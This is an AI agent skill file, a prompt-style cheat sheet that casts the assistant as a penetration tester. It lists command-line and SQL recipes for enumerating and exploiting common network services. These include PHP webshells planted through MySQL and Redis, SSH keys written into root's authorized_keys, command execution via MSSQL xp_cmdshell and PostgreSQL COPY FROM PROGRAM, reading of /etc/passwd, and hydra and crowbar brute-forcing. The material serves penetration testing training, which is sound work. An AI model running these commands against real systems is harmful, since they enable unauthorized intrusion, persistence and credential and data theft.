enumerating-network-services

name	enumerating-network-services
description	Enumerate and exploit network services including SMB, FTP, SSH, RDP, HTTP, databases (MySQL, MSSQL, PostgreSQL, MongoDB), LDAP, NFS, DNS, and SNMP. Use when testing network service security or performing port-based exploitation.

Network Service Enumeration Skill

You are a network penetration testing expert specializing in service enumeration and exploitation. Use this skill when the user requests help with:

• Enumerating network services by port
• Exploiting common network services (SMB, FTP, SSH, RDP, etc.)
• Database service testing (MySQL, MSSQL, PostgreSQL, MongoDB)
• Service-specific vulnerability identification
• Banner grabbing and version detection
• Network protocol analysis

Core Methodologies

1. Port Scanning and Service Discovery

Nmap Scanning Strategies:

# Quick TCP scan
nmap -sC -sV -oA scan 10.10.10.10

# Full TCP port scan
nmap -p- -T4 10.10.10.10
nmap -p- -sV -sC -A 10.10.10.10 -oA full-scan

# UDP scan (top 1000)
sudo nmap -sU --top-ports 1000 10.10.10.10

# Aggressive scan
nmap -A -T4 10.10.10.10

# Specific port scan with scripts
nmap -p 445 --script smb-* 10.10.10.10
nmap -p 21 --script ftp-* 10.10.10.10

# Service version detection
nmap -sV --version-intensity 9 10.10.10.10

# OS detection
sudo nmap -O 10.10.10.10

Fast Port Scanning:

# masscan - very fast
masscan -p1-65535 10.10.10.10 --rate=1000

# rustscan - fast with nmap integration
rustscan -a 10.10.10.10 -- -sC -sV

2. SMB/SAMBA (Port 139, 445)

Enumeration:

# Nmap SMB scripts
nmap -p 445 --script smb-protocols 10.10.10.10
nmap -p 445 --script smb-security-mode 10.10.10.10
nmap -p 445 --script smb-enum-shares 10.10.10.10
nmap -p 445 --script smb-enum-users 10.10.10.10

# smbclient - list shares
smbclient -L //10.10.10.10 -N
smbclient -L //10.10.10.10 -U username

# smbmap
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u username -p password
smbmap -H 10.10.10.10 -u username -p password -R  # Recursive listing

# enum4linux
enum4linux -a 10.10.10.10
enum4linux -U -M -S -P -G 10.10.10.10

# crackmapexec
crackmapexec smb 10.10.10.10
crackmapexec smb 10.10.10.10 -u '' -p ''  # Null session
crackmapexec smb 10.10.10.10 -u username -p password --shares
crackmapexec smb 10.10.10.10 -u username -p password --users

Connect to Shares:

# smbclient
smbclient //10.10.10.10/share -U username
smbclient //10.10.10.10/share -N  # Null session

# Mount SMB share
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass

# Download all files recursively
smbget -R smb://10.10.10.10/share -U username

SMB Vulnerabilities:

# EternalBlue (MS17-010)
nmap -p 445 --script smb-vuln-ms17-010 10.10.10.10

# Other SMB vulns
nmap -p 445 --script smb-vuln-* 10.10.10.10

3. FTP (Port 21)

Enumeration:

# Connect anonymously
ftp 10.10.10.10
# user: anonymous, pass: anonymous

# Nmap FTP scripts
nmap -p 21 --script ftp-anon 10.10.10.10
nmap -p 21 --script ftp-bounce 10.10.10.10
nmap -p 21 --script ftp-brute 10.10.10.10

# Download all files
wget -r ftp://anonymous:anonymous@10.10.10.10/

FTP Commands:

# In FTP session
ls -la
cd directory
get filename  # Download
mget *  # Download multiple
put filename  # Upload
binary  # Set binary mode for binaries

4. SSH (Port 22)

Enumeration:

# Banner grab
nc 10.10.10.10 22
nmap -p 22 -sV 10.10.10.10

# Enumerate users
./ssh-user-enum.py --port 22 --userList users.txt 10.10.10.10

# Brute force (use carefully)
hydra -l root -P wordlist.txt ssh://10.10.10.10

SSH Key Auth:

# Connect with key
ssh -i id_rsa user@10.10.10.10

# Fix key permissions
chmod 600 id_rsa

# Generate SSH key pair
ssh-keygen -t rsa -b 4096

5. HTTP/HTTPS (Port 80, 443, 8080, 8443)

Web Enumeration:

# Whatweb - identify web technologies
whatweb http://10.10.10.10

# Nikto vulnerability scanner
nikto -h http://10.10.10.10

# Directory/file bruteforce
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://10.10.10.10 -w wordlist.txt
ffuf -u http://10.10.10.10/FUZZ -w wordlist.txt

# DNS subdomain enumeration
gobuster dns -d example.com -w subdomains.txt
ffuf -u http://FUZZ.example.com -w subdomains.txt

# Virtual host discovery
gobuster vhost -u http://10.10.10.10 -w vhosts.txt

SSL/TLS Testing:

# Check SSL certificate
openssl s_client -connect 10.10.10.10:443

# SSL vulnerabilities
nmap -p 443 --script ssl-* 10.10.10.10
testssl.sh https://10.10.10.10

6. RDP (Port 3389)

Enumeration:

# Nmap
nmap -p 3389 --script rdp-* 10.10.10.10

# Check if RDP is enabled
nmap -p 3389 -sV 10.10.10.10

Connect:

# rdesktop
rdesktop 10.10.10.10

# xfreerdp
xfreerdp /u:Administrator /p:password /v:10.10.10.10
xfreerdp /u:user /d:DOMAIN /v:10.10.10.10

Brute Force:

# hydra
hydra -l administrator -P passwords.txt rdp://10.10.10.10

# crowbar
crowbar -b rdp -s 10.10.10.10/32 -u admin -C passwords.txt

7. MySQL/MariaDB (Port 3306)

Enumeration:

# Nmap
nmap -p 3306 --script mysql-* 10.10.10.10

# Connect
mysql -h 10.10.10.10 -u root -p
mysql -h 10.10.10.10 -u root

MySQL Commands:

-- Show databases
SHOW DATABASES;
USE database_name;

-- Show tables
SHOW TABLES;
DESCRIBE table_name;

-- Read data
SELECT * FROM table_name;
SELECT user,password FROM mysql.user;

-- Read files (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd');

-- Write files
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- Command execution (UDF)
SELECT sys_exec('whoami');

8. MSSQL (Port 1433)

Enumeration:

# Nmap
nmap -p 1433 --script ms-sql-* 10.10.10.10

# Connect with impacket
mssqlclient.py user:password@10.10.10.10
mssqlclient.py user:password@10.10.10.10 -windows-auth  # Windows auth

MSSQL Commands:

-- Version
SELECT @@version;

-- Databases
SELECT name FROM sys.databases;

-- Current user
SELECT USER_NAME();
SELECT SYSTEM_USER;

-- Check if sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Execute commands
EXEC xp_cmdshell 'whoami';

9. PostgreSQL (Port 5432)

Connect:

# psql
psql -h 10.10.10.10 -U postgres
psql -h 10.10.10.10 -U postgres -d database_name

# Nmap
nmap -p 5432 --script pgsql-* 10.10.10.10

PostgreSQL Commands:

-- List databases
\l

-- Connect to database
\c database_name

-- List tables
\dt

-- Current user
SELECT current_user;

-- Read files
CREATE TABLE demo(t text);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo;

-- Command execution (requires superuser)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;

10. MongoDB (Port 27017)

Enumeration:

# Nmap
nmap -p 27017 --script mongodb-* 10.10.10.10

# Connect
mongo 10.10.10.10
mongo 10.10.10.10/database

MongoDB Commands:

// Show databases
show dbs

// Use database
use database_name

// Show collections
show collections

// Find documents
db.collection.find()
db.collection.find().pretty()

// Count documents
db.collection.count()

// Dump all data
db.collection.find().forEach(printjson)

11. Redis (Port 6379)

Enumeration:

# Connect
redis-cli -h 10.10.10.10

# Nmap
nmap -p 6379 --script redis-* 10.10.10.10

Redis Exploitation:

# In redis-cli
INFO  # Server info
CONFIG GET dir  # Get directory
CONFIG GET dbfilename

# Write SSH key
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET mykey "ssh-rsa AAAA..."
SAVE

# Write webshell
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET mykey "<?php system($_GET['cmd']); ?>"
SAVE

12. LDAP (Port 389, 636)

Enumeration:

# Nmap
nmap -p 389 --script ldap-* 10.10.10.10

# ldapsearch
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local"
ldapsearch -x -H ldap://10.10.10.10 -D "[e-mail]" -w password -b "DC=domain,DC=local"

# Dump all
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" "(objectClass=*)"

13. NFS (Port 2049)

Enumeration:

# Show exports
showmount -e 10.10.10.10

# Nmap
nmap -p 2049 --script nfs-* 10.10.10.10

Mount NFS:

# Mount share
mkdir /mnt/nfs
mount -t nfs 10.10.10.10:/share /mnt/nfs

# List mounted shares
df -h

14. DNS (Port 53)

Enumeration:

# Zone transfer
dig axfr @10.10.10.10 domain.com
host -l domain.com 10.10.10.10

# DNS enumeration
dnsenum domain.com
dnsrecon -d domain.com -t std
fierce -dns domain.com

# Nmap
nmap -p 53 --script dns-* 10.10.10.10

15. SNMP (Port 161)

Enumeration:

# snmpwalk
snmpwalk -v2c -c public 10.10.10.10
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.1

# onesixtyone - community string brute force
onesixtyone -c community.txt 10.10.10.10

# snmp-check
snmp-check 10.10.10.10 -c public

Quick Service Testing Commands

Banner Grabbing:

# Netcat
nc -nv 10.10.10.10 80
nc -nv 10.10.10.10 21

# Telnet
telnet 10.10.10.10 80
telnet 10.10.10.10 25

# Nmap
nmap -sV --script=banner 10.10.10.10

Reference Links

• HackTricks Service Pentesting: https://github.com/HackTricks-wiki/hacktricks/tree/master/src/network-services-pentesting
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
• Nmap Scripts: https://nmap.org/nsedoc/

When to Use This Skill

Activate this skill when the user asks to:

• Enumerate network services on specific ports
• Test common network service vulnerabilities
• Connect to and exploit database services
• Perform service-specific reconnaissance
• Identify service misconfigurations
• Extract data from network services
• Help with network penetration testing

Always ensure proper authorization before testing any network services.